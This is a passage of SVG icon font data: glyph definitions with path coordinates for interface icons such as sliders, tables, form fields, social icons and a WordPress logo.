<glyph glyph-name="slider-full-screen" unicode="&#xe859;" d="M958 704h-916c-12 0-21-9-21-21v-666c0-12 9-21 21-21h916c12 0 21 9 21 21v666c0 12-9 21-21 21z m-20-666h-875v625h875v-625z m-744 214c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-68 69 68 69c8 8 8 21 0 29s-21 8-29 0l-84-83c-8-8-8-22 0-30l84-83z m583 0c4-4 9-6 15-6s10 2 14 6l84 83c8 8 8 22 0 30l-84 83c-8 8-21 8-29 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29z m-460-80c0-1 1-2 2-3 0-1 1-1 2-2 1-1 3-2 4-3 3-1 6-1 8-1h84c11 0 21 9 21 20s-10 21-21 21h-33l68 69c8 8 8 21 0 29s-21 8-29 0l-69-68v33c0 11-9 21-21 21s-20-10-20-21v-84c0-2 0-5 1-8 1-1 2-2 3-3z m-4 345v-84c0-11 9-20 20-20s21 9 21 20v33l69-68c4-4 9-6 15-6s10 2 14 6c8 8 8 21 0 29l-68 69h33c11 0 21 9 21 21s-10 21-21 21h-84c-1 0-2-1-3-1-2 0-3 0-5-1-2-1-4-3-6-5l0 0c-1 0-1 0-1 0-1-2-3-4-4-6-1-3-1-6-1-8z m250-125c5 0 10 2 14 6l69 68v-33c0-11 9-20 21-20 11 0 21 9 21 20v84c0 1-1 3-1 4-1 1-1 3-1 4-2 5-6 9-11 11-2 0-3 0-4 1-1 0-3 1-4 1h-84c-11 0-20-10-20-21s9-21 20-21h33l-68-69c-8-8-8-21 0-29 4-4 9-6 15-6z m53-188h-33c-11 0-20-9-20-21 0-11 9-20 20-20h84c2 0 5 0 8 1 2 1 4 3 6 4 0 0 0 0 0 1l0 0c2 2 4 4 5 6 1 2 1 3 1 5 0 1 1 2 1 3v84c0 11-10 21-21 21s-21-10-21-21v-33l-69 68c-8 8-21 8-29 0s-8-21 0-29l68-69z" horiz-adv-x="1000" />

<glyph glyph-name="slider-push" unicode="&#xe85a;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-646 417h-83c-12 0-21-9-21-21s9-21 21-21h62v-375h-62c-12 0-21-9-21-21 0-11 9-20 21-20h83c12 0 21 9 21 20v417c0 12-9 21-21 21z m833-417h-62v375h62c12 0 21 10 21 21s-9 21-21 21h-83c-11 0-21-9-21-21v-417c0-11 10-20 21-20h83c12 0 21 9 21 20s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="slider-vertical" unicode="&#xe85b;" d="M958 663h-916c-12 0-21-10-21-21v-584c0-11 9-20 21-20h916c12 0 21 9 21 20v584c0 11-9 21-21 21z m-20-584h-875v542h875v-542z m-369-89l-69-69-69 69c-8 8-21 8-29 0s-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30-8 8-21 8-29 0z m-138 720l69 69 69-69c4-4 9-6 14-6s11 2 15 6c8 8 8 22 0 30l-83 83c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30s21-8 29 0z" horiz-adv-x="1000" />

<glyph glyph-name="slider-video" unicode="&#xe85c;" d="M792 579h-584c-11 0-20-9-20-21v-416c0-12 9-21 20-21h584c11 0 21 9 21 21v416c0 12-10 21-21 21z m-21-416h-542v375h542v-375z m-631 285c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z m833-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30z m-524-117c3-1 6-2 9-2 4 0 8 1 12 3l125 84c6 4 9 10 9 17s-3 14-9 17l-125 84c-7 4-15 4-21 1-7-4-11-11-11-19v-166c0-8 4-15 11-19z m30 146l67-44-67-44v88z" horiz-adv-x="1000" />

<glyph glyph-name="slides" unicode="&#xe85d;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-631 286c-8 8-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30z m833-84l-83 84c-8 8-22 8-30 0s-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z" horiz-adv-x="1000" />

<glyph glyph-name="social-icons" unicode="&#xe85e;" d="M926 796l-105 9c-47 4-95 4-142 0l-105-9c-42-4-74-38-74-80v-190c0-42 32-77 74-80l105-10c24-2 47-3 71-3s47 1 71 3l105 10c42 3 74 38 74 80v190c0 42-32 76-74 80z m32-270c0-20-15-37-35-39l-106-9c-44-4-90-4-134 0l-106 9c-20 2-35 19-35 39v190c0 20 15 37 35 39l106 9c22 2 45 3 67 3s45-1 67-3l106-9c20-2 35-19 35-39v-190z m-259 196c-6 4-15 4-21 1-7-4-11-11-11-19v-166c0-8 4-15 11-19 3-1 6-2 10-2 4 0 8 1 11 3l125 84c6 3 9 10 9 17s-3 13-9 17l-125 84z m9-146v89l67-44-67-45z m-264-308c1 2 2 5 2 8 3 8-1 17-8 22-7 5-16 5-23 1-5-3-23-11-37-15-38 30-83 32-128 7-34-20-45-55-46-83-69 10-112 47-137 78-5 5-11 8-18 7-7 0-13-4-16-10-15-24-19-51-12-78 1-5 2-9 4-13 0-1-1-1-1-1-7-4-12-11-12-19 0-32 14-57 32-74 0 0-1-1-1-1-5-6-7-15-3-23 11-24 29-42 52-54-22-7-46-10-69-7-10 1-19-5-22-15-3-9 1-20 10-24 48-27 98-41 146-40 50 0 98 14 141 43 75 50 122 138 118 218 12 9 28 24 39 41 5 8 4 19-2 26-3 3-6 5-9 6z m-169-257c-32-21-92-48-170-30 21 7 40 18 56 31 6 6 8 15 5 23s-10 13-19 14c-17 0-32 5-44 13 6 2 11 5 16 9 7 5 9 14 7 22s-10 14-18 15c-7 0-30 10-44 31 5 0 11 0 16 1 8 2 15 8 16 17 2 9-2 17-10 21-7 5-20 18-25 37-1 6-2 12-2 18 36-33 89-65 166-69 6-1 13 3 17 8 4 5 6 12 4 18-3 11-2 49 25 64 33 19 61 16 87-8 3-3 7-4 11-5-1-3-1-6 0-9 1-6 5-11 9-14-3-4-5-10-4-15 8-69-33-147-99-192z m121 797h-333c-35 0-63-28-63-62v-333c0-35 28-63 63-63h333c34 0 62 28 62 63v333c0 34-28 62-62 62z m21-395c0-12-10-21-21-21h-146v166h42c11 0 21 10 21 21s-10 21-21 21h-42c0 23 19 42 42 42h21c11 0 20 9 20 21s-9 20-20 20h-21c-46 0-84-37-84-83h-20c-12 0-21-9-21-21s9-21 21-21h20v-166h-145c-12 0-21 9-21 21v333c0 11 9 21 21 21h333c11 0 21-10 21-21v-333z m437-21h-208c-81 0-146-66-146-146v-208c0-81 65-146 146-146h208c81 0 146 65 146 146v208c0 80-65 146-146 146z m104-354c0-58-46-105-104-105h-208c-58 0-104 47-104 105v208c0 57 46 104 104 104h208c58 0 104-47 104-104v-208z m-208 229c-69 0-125-56-125-125s56-125 125-125 125 56 125 125-56 125-125 125z m0-209c-46 0-83 38-83 84s37 83 83 83 83-37 83-83-37-84-83-84z" horiz-adv-x="1000" />

<glyph glyph-name="spacer" unicode="&#xe85f;" d="M42 663h916c12 0 21 9 21 20s-9 21-21 21h-916c-12 0-21-9-21-21s9-20 21-20z m583-250c8 0 15 4 19 11s2 16-2 22l-125 167c-8 10-26 10-34 0l-125-167c-4-6-5-15-2-22 4-7 11-11 19-11h104v-125h-104c-8 0-15-5-19-12-3-7-2-15 2-22l125-166c4-6 11-9 17-9s13 3 17 9l125 166c4 7 5 15 2 22-4 7-11 12-19 12h-104v125h104z m-125-278l-83 111h166l-83-111z m0 430l83-111h-166l83 111z m458-527h-916c-12 0-21-10-21-21s9-21 21-21h916c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="table" unicode="&#xe860;" d="M979 725h-958c-12 0-21-9-21-21v-708c0-12 9-21 21-21h958c12 0 21 9 21 21v708c0 12-9 21-21 21z m-602-542v125h248v-125h-248z m248-41v-125h-248v125h248z m0 333v-125h-248v125h248z m42 0h291v-125h-291v125z m-332-125h-293v125h293v-125z m-293-42h293v-125h-293v125z m625 0h291v-125h-291v125z m291 375v-166h-916v166h916z m-916-541h293v-125h-293v125z m625-125v125h291v-125h-291z" horiz-adv-x="1000" />

<glyph glyph-name="tabs" unicode="&#xe861;" d="M988 574l-42 111c-9 24-32 40-58 40h-191c-21 0-40-10-51-26-12 16-30 26-51 26h-190c-21 0-39-10-51-26-11 16-30 26-51 26h-191c-26 0-49-16-58-40l-45-120c-6-16-9-32-9-49v-478c0-35 28-63 63-63h875c34 0 62 28 62 63v500c0 13-5 26-12 36z m-291 109h191c9 0 16-5 20-13l26-70h-252l-14 42 9 27c3 9 11 14 20 14z m-292 0h190c9 0 17-5 20-14l23-69h-248l-14 42 9 27c3 9 11 14 20 14z m553-645c0-12-9-21-20-21h-875c-12 0-21 9-21 21v478c0 12 2 23 6 34l45 120c3 8 10 13 19 13h191c9 0 17-5 20-14l32-96c3-9 11-15 20-15h563c5 0 10-2 13-5l1-3c1-2 3-4 5-6 1-2 1-4 1-6v-500z" horiz-adv-x="1000" />

<glyph glyph-name="tel-field" unicode="&#xe862;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-460 190c-26 0-52 4-76 12-16 5-34 1-43-9l-45-34c-52 28-85 61-113 112l33 43c11 12 16 29 11 45-9 24-13 50-13 76 0 24-19 44-44 44h-81c-24 0-44-20-44-44 0-228 186-414 415-414 24 0 44 20 44 44v81c0 24-20 44-44 44z m0-127c-206 0-373 167-371 375l84-3c0-30 5-60 14-89l20 7-23-11-42-56c-5-7-5-15-2-22 36-70 78-112 148-148 7-4 16-3 22 2l56 42c1 0 4 2 5 2 28-9 58-14 91-16l-2-83z" horiz-adv-x="1000" />

<glyph glyph-name="text-area" unicode="&#xe863;" d="M938 767h-875c-35 0-63-28-63-63v-708c0-35 28-63 63-63h875c34 0 62 28 62 63v708c0 35-28 63-62 63z m-896-771v708c0 12 9 21 21 21h875c11 0 20-9 20-21v-616l-112-113h-783c-12 0-21 9-21 21z m896-21h-33l53 54v-33c0-12-9-21-20-21z m-689 653c-6 16-33 16-39 0l-125-333c-4-11 1-23 12-27 11-4 23 1 27 12l42 112c0 0 0 0 1 0h125c0 0 0 0 1 0l42-112c3-8 11-13 19-13 3 0 5 0 8 1 10 4 16 16 12 27l-125 333z m-68-195l48 129 48-129h-96z m694-62c0 11-9 21-21 21s-21-10-21-21c0-35-28-63-62-63s-63 28-63 63v83c0 35 28 63 63 63s62-28 62-63c0-11 10-21 21-21s21 10 21 21c0 58-47 104-104 104s-104-46-104-104v-83c0-58 46-104 104-104s104 46 104 104z m-354 187c-24 0-45-8-63-21v84c0 11-9 21-20 21s-21-10-21-21v-167-21-41-21-83c0-12 9-21 21-21s20 9 20 21v0c18-13 39-21 63-21 57 0 104 46 104 104v83c0 58-47 104-104 104z m62-187c0-35-28-63-62-63s-63 28-63 63v21 41 21c0 35 28 63 63 63s62-28 62-63v-83z" horiz-adv-x="1000" />

<glyph glyph-name="text-field" unicode="&#xe864;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-729 438c12 0 21 9 21 20s-9 21-21 21h-83c-12 0-21-9-21-21s9-20 21-20h21v-375h-21c-12 0-21-10-21-21s9-21 21-21h83c12 0 21 9 21 21s-9 21-21 21h-21v375h21z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-down" unicode="&#xe865;" d="M792 663h-584c-11 0-20-10-20-21v-417c0-11 9-21 20-21h584c11 0 21 10 21 21v417c0 11-10 21-21 21z m-21-417h-542v375h542v-375z m-631 244c-8 8-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30z m833-84l-83 84c-8 8-22 8-30 0s-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z m-681-243h-84c-11 0-20-10-20-21v-84c0-11 9-20 20-20h84c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z m187 84h-83c-11 0-21-10-21-21v-84c0-11 10-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-20-84h-42v42h42v-42z m187 84h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m188 84h-84c-11 0-20-10-20-21v-84c0-11 9-20 20-20h84c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-half" unicode="&#xe866;" d="M479 663h-458c-12 0-21-10-21-21v-584c0-11 9-20 21-20h458c12 0 21 9 21 20v584c0 11-9 21-21 21z m-21-584h-416v542h416v-542z m521 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c12 0 21 9 21 21v83c0 12-9 21-21 21z m-21-83h-41v41h41v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c12 0 21 10 21 21v83c0 12-9 21-21 21z m-21-83h-41v42h41v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m-145 584h-84c-11 0-21-10-21-21v-84c0-11 10-20 21-20h84c11 0 20 9 20 20v84c0 11-9 21-20 21z m-21-84h-42v42h42v-42z m21-83h-84c-11 0-21-9-21-21v-83c0-12 10-21 21-21h84c11 0 20 9 20 21v83c0 12-9 21-20 21z m-21-83h-42v41h42v-41z m21-84h-84c-11 0-21-9-21-21v-83c0-11 10-21 21-21h84c11 0 20 10 20 21v83c0 12-9 21-20 21z m-21-83h-42v42h42v-42z m21-83h-84c-11 0-21-10-21-21v-84c0-11 10-20 21-20h84c11 0 20 9 20 20v84c0 11-9 21-20 21z m-21-84h-42v42h42v-42z m-146 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c11 0 21 9 21 21v83c0 12-10 21-21 21z m-21-83h-42v41h42v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c11 0 21 10 21 21v83c0 12-10 21-21 21z m-21-83h-42v42h42v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-right" unicode="&#xe867;" d="M813 663h-792c-12 0-21-10-21-21v-584c0-11 9-20 21-20h792c11 0 20 9 20 20v584c0 11-9 21-20 21z m-21-584h-750v542h750v-542z m187 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c12 0 21 9 21 21v83c0 12-9 21-21 21z m-21-83h-41v41h41v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c12 0 21 10 21 21v83c0 12-9 21-21 21z m-21-83h-41v42h41v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z" horiz-adv-x="1000" />

<glyph glyph-name="time-line" unicode="&#xe868;" d="M667 454h250c34 0 62 28 62 63v250c0 34-28 62-62 62h-250c-35 0-63-28-63-62v-33l-54-55c-8 10-18 17-29 21v108c0 12-9 21-21 21s-21-9-21-21v-108c-24-8-41-31-41-58s17-50 41-59v-174c-11-4-21-12-29-21l-54 54v33c0 34-28 63-63 63h-250c-34 0-62-29-62-63v-250c0-34 28-62 62-62h250c35 0 63 28 63 62v33l54 55c8-10 18-18 29-22v-174c-24-9-41-32-41-59s17-50 41-58v-108c0-12 10-21 21-21s21 9 21 21v108c11 4 21 11 29 21l54-55v-33c0-34 28-62 63-62h250c34 0 62 28 62 62v250c0 35-28 63-62 63h-250c-35 0-63-28-63-63v-33l-54-54c-8 10-18 17-29 21v174c24 9 42 32 42 59s-18 50-42 59v174c11 4 21 12 29 21l54-54v-33c0-35 28-63 63-63z m-167 209c12 0 21-10 21-21v0c0-12-9-21-21-21s-21 9-21 21 10 21 21 21z m-140-382c-4-3-6-9-6-14v-42c0-11-9-21-21-21h-250c-11 0-20 10-20 21v250c0 12 9 21 20 21h250c12 0 21-9 21-21v-42c0-5 2-10 6-14l69-69-69-69z m140-202c12 0 21-9 21-21v0c0-11-9-20-21-20s-21 9-21 20 10 21 21 21z m140 48c4 4 6 9 6 15v41c0 12 9 21 21 21h250c11 0 21-9 21-21v-250c0-11-10-21-21-21h-250c-12 0-21 10-21 21v42c0 5-2 11-6 15l-69 68 69 69z m-140 202c-11 0-21 10-21 21v0c0 12 10 21 21 21s21-9 21-21-9-21-21-21z m71 313l69 68c4 4 6 9 6 15v42c0 11 9 21 21 21h250c11 0 21-10 21-21v-250c0-12-10-21-21-21h-250c-12 0-21 9-21 21v41c0 6-2 11-6 15l-69 69z" horiz-adv-x="1000" />

<glyph glyph-name="toggle" unicode="&#xe869;" d="M229 829h-166c-35 0-63-28-63-62v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 34-28 62-63 62z m21-229c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 11 9 21 21 21h166c12 0 21-10 21-21v-167z m-62 104h-21v21c0 12-10 21-21 21s-21-9-21-21v-21h-21c-11 0-21-9-21-21s10-20 21-20h21v-21c0-12 9-21 21-21s21 9 21 21v21h21c11 0 20 9 20 20s-9 21-20 21z m41-208h-166c-35 0-63-28-63-63v-166c0-35 28-63 63-63h166c35 0 63 28 63 63v166c0 35-28 63-63 63z m21-229c0-12-9-21-21-21h-166c-12 0-21 9-21 21v166c0 12 9 21 21 21h166c12 0 21-9 21-21v-166z m-62 104h-21v21c0 11-10 21-21 21s-21-10-21-21v-21h-21c-11 0-21-9-21-21s10-21 21-21h21v-21c0-11 9-20 21-20s21 9 21 20v21h21c11 0 20 10 20 21s-9 21-20 21z m41-208h-166c-35 0-63-28-63-63v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 35-28 63-63 63z m21-230c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 12 9 21 21 21h166c12 0 21-9 21-21v-167z m-62 105h-21v20c0 12-10 21-21 21s-21-9-21-21v-20h-21c-11 0-21-10-21-21s10-21 21-21h21v-21c0-12 9-21 21-21s21 9 21 21v21h21c11 0 20 9 20 21s-9 21-20 21z m208 625h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="url" unicode="&#xe86a;" d="M938 621h-875c-35 0-63-28-63-63v-416c0-35 28-63 63-63h875c34 0 62 28 62 63v416c0 35-28 63-62 63z m20-479c0-12-9-21-20-21h-875c-12 0-21 9-21 21v416c0 12 9 21 21 21h875c11 0 20-9 20-21v-416z m-640 312c-12 2-23-4-26-16l-26-106-38 89c-7 15-32 15-39 0l-38-89-27 106c-2 12-14 18-25 16-11-3-18-15-15-26l42-166c2-9 9-15 18-16 10-1 18 4 21 13l43 101 44-101c3-8 11-13 19-13 0 0 1 0 2 0 8 1 16 7 18 16l42 166c3 11-4 23-15 26z m291 0c-11 2-22-4-25-16l-27-106-38 89c-6 15-32 15-38 0l-38-89-27 106c-3 12-14 18-25 16-11-3-18-15-15-26l41-166c3-9 10-15 19-16 9-1 17 4 21 13l43 101 43-101c4-8 11-13 20-13 0 0 1 0 1 0 9 1 17 7 19 16l41 166c3 11-4 23-15 26z m292 0c-11 2-23-4-25-16l-27-106-38 89c-7 15-32 15-38 0l-39-89-26 106c-3 12-14 18-25 16-12-3-18-15-16-26l42-166c2-9 10-15 19-16 9-1 17 4 20 13l44 101 43-101c3-8 11-13 19-13 1 0 1 0 2 0 9 1 16 7 18 16l42 166c3 11-4 23-15 26z" horiz-adv-x="1000" />

<glyph glyph-name="t-letter" unicode="&#xe86b;" d="M647-108c0 0-1 0-1 0h-292c-11 0-21 9-21 20s10 21 21 21c35 0 63 28 63 63v646h-271c-35 0-63-28-63-63 0-11-9-21-20-21s-21 10-21 21v209c0 11 9 20 21 20h875c11 0 20-9 20-20v-209c0-11-9-21-20-21s-21 10-21 21c0 35-28 63-63 63h-271v-646c0-35 28-63 63-63 0 0 0 0 0 0h1c11 0 21-9 21-21s-10-20-21-20z m-209 41h125c-13 18-21 39-21 63v667c0 11 9 20 21 20h291c24 0 45-7 63-20v104h-834v-104c18 13 39 20 63 20h292c11 0 20-9 20-20v-667c0-24-7-45-20-63z" horiz-adv-x="1000" />

<glyph glyph-name="wordpress" unicode="&#xe86c;" d="M108 346c0 54 13 108 34 158l187-512c-66 29-121 79-162 141-42 63-59 134-59 213z m659 17c0-9 0-13 0-21s-4-17-4-25c-5-9-5-17-5-21s-8-13-12-29c-4-17-8-25-8-29l-38-130-146 421c17 0 29 4 46 4 8 0 13 5 13 9 4 4 0 12 0 16-5 5-9 9-13 9l-108-9c-25 0-59 0-104 5-5 0-9 0-13-5 0 0 0 0-4-4 0-4 0-4 0-8 0-4 0-4 4-8s4-5 8-5l42-4 63-166-88-259-142 425c17 0 30 4 46 4 9 0 13 5 13 9 4 4 0 12 0 16-4 5-9 9-17 5l-104-5c0 0-4 0-13 0s-8 0-12 0c37 55 83 96 142 130s120 45 187 45c50 0 100-8 142-29s87-41 121-75h-5c-20 0-33-8-45-21-13-12-21-29-21-50 0-4 0-8 0-12s0-8 0-13c0-4 0-8 4-12 0-4 4-8 4-13s4-8 4-12c4-4 4-8 9-13 0 0 4-4 8-12 4-4 4-8 8-13 25-20 38-58 38-95z m-259-55l121-329c0 0 0-4 4-4-41-17-87-21-129-21-37 0-75 4-112 17l116 337z m338 225c33-58 50-120 50-187 0-71-17-138-54-196s-84-108-142-142l121 346c21 59 29 104 29 142-4 12-4 25-4 37z m-525 234c58 25 117 37 179 37s121-12 179-37 104-59 146-96c42-42 75-92 96-146 25-58 37-117 37-179s-12-121-37-179c-25-59-58-104-96-146-42-42-92-75-146-96s-116-38-179-38-121 13-179 38-104 58-146 96c-42 42-75 92-96 146-25 54-37 116-37 179s12 121 37 179 59 104 96 146 92 71 146 96z m8-825c54-25 113-34 171-34s117 13 171 34c54 25 100 54 142 91 37 38 70 88 91 142 25 54 34 113 34 171s-13 117-34 171c-25 54-54 100-91 141-38 38-88 71-142 92-54 25-113 33-171 33s-117-12-171-37-100-54-137-92-71-87-96-141-33-113-33-171 12-117 33-171 54-100 92-142c41-33 87-62 141-87z" horiz-adv-x="1000" />

<glyph glyph-name="text" unicode="&#xe86d;" d="M979 642h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z m291-125h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z m291-125h-958c-12 0-21 9-21 21s9 20 21 20h958c12 0 21-9 21-20s-9-21-21-21z m-291-125h-667c-12 0-21 9-21 21s9 20 21 20h667c11 0 20-9 20-20s-9-21-20-21z" horiz-adv-x="1000" />

<glyph glyph-name="anchor" unicode="&#xe86e;" d="M500-154c-10 0-19 8-20 17-8 7-38 16-61 24-79 24-196 61-245 167h-28c-3 0-6 1-9 2-10 5-95 50-95 269 0 9 5 16 13 20 7 3 16 1 22-5 102-101 204-163 205-164 9-5 12-17 8-27l-14-28c65-62 108-67 120-67 16 0 21 24 21 25l0 392h-63c-20-26-51-42-83-42-58 0-104 47-104 105s46 104 104 104c32 0 63-16 83-42h63v32c-27 24-42 57-42 93 0 69 56 125 125 125s125-56 125-125c0-36-15-69-42-93v-32h63c20 26 51 42 83 42 58 0 104-47 104-104s-46-105-104-105c-32 0-63 16-83 42h-63v-396c0 0 0 0 0 0 1 0 6-21 21-21 12 0 55 5 121 67l-14 28c-5 10-2 22 7 27 2 1 104 63 205 164 6 6 15 8 23 5 7-4 12-11 12-20 0-219-85-264-95-269-3-1-6-2-9-2h-28c-49-106-166-143-244-167-24-8-54-17-61-24-2-9-11-17-21-17z m-348 250h36c8 0 16-5 19-13 38-98 150-133 224-157 29-9 53-16 69-26 16 10 40 17 69 26 74 24 186 59 224 157 3 8 11 13 20 13h35c12 9 57 50 67 179-68-62-130-105-159-124l13-25c4-8 2-17-4-24-58-57-115-89-161-89-41 0-59 38-62 59l0 420c0 11 9 21 21 21h94c8 0 15-4 18-11 12-19 32-31 54-31 35 0 63 28 63 63s-28 62-63 62c-22 0-42-12-54-31-3-7-10-11-18-11h-94c-12 0-21 10-21 21v63c0 7 3 13 8 17 21 16 33 40 33 66 0 46-37 83-83 83s-83-37-83-83c0-26 12-50 33-66 5-4 8-10 8-17v-63c0-11-9-21-20-21h-95c-8 0-15 4-18 11-12 19-32 31-54 31-35 0-63-28-63-62s28-63 63-63c22 0 42 12 54 31 3 7 10 11 18 11h95c11 0 20-10 20-21v-417c-3-24-21-62-62-62-46 0-103 32-161 89-6 7-8 16-4 24l13 25c-29 19-91 62-159 124 10-129 54-170 67-179z" horiz-adv-x="1000" />

<glyph glyph-name="bullet-list" unicode="&#xe86f;" d="M979 663h-708c-12 0-21 9-21 20s9 21 21 21h708c12 0 21-9 21-21s-9-20-21-20z m0-334h-708c-12 0-21 10-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z m0-333h-708c-12 0-21 9-21 21s9 21 21 21h708c12 0 21-10 21-21s-9-21-21-21z m-875 250c-57 0-104 47-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m0 167c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z m0-501c-57 0-104 47-104 105s47 104 104 104 104-47 104-104-46-105-104-105z m0 167c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m0 500c-57 0-104 47-104 104s47 105 104 105 104-47 104-105-46-104-104-104z m0 167c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z" horiz-adv-x="1000" />

<glyph glyph-name="code" unicode="&#xe870;" d="M313-129c-3 0-6 0-8 1-11 5-16 17-12 27l375 917c5 11 17 16 27 12 11-5 16-17 12-28l-375-916c-3-8-11-13-19-13z m416 167c-5 0-9 1-13 5-9 7-10 20-3 29l239 278-239 278c-7 9-6 22 3 30 8 7 22 6 29-3l250-291c7-8 7-20 0-27l-250-292c-4-5-10-7-16-7z m-458 0c-6 0-12 2-16 7l-250 292c-7 7-7 19 0 27l250 291c8 9 21 10 29 3 9-8 10-21 3-30l-239-278 239-278c7-9 6-22-3-29-3-4-8-5-13-5z" horiz-adv-x="1000" />

<glyph glyph-name="favorite" unicode="&#xe871;" d="M500-150c-276 0-500 224-500 500s224 500 500 500 500-224 500-500-224-500-500-500z m0 958c-253 0-458-205-458-458s205-458 458-458 458 205 458 458-205 458-458 458z m188-750c-4 0-8 2-12 4l-176 117-176-117c-7-5-17-5-24 0-7 5-10 14-8 23l59 215-176 138c-7 5-10 15-7 23 3 8 11 14 20 14h215l78 195c6 16 32 16 38 0l78-195h216c8 0 16-6 19-14 3-8 0-18-7-23l-176-138 59-215c2-9-1-18-8-23-4-2-8-4-12-4z m-188 167c4 0 8-1 12-3l141-95-48 176c-2 8 1 17 7 22l140 108h-169c-8 0-16 6-19 13l-64 160-64-159c-3-8-11-14-19-14h-169l140-108c6-5 9-14 7-22l-48-176 141 95c4 2 8 3 12 3z" horiz-adv-x="1000" />

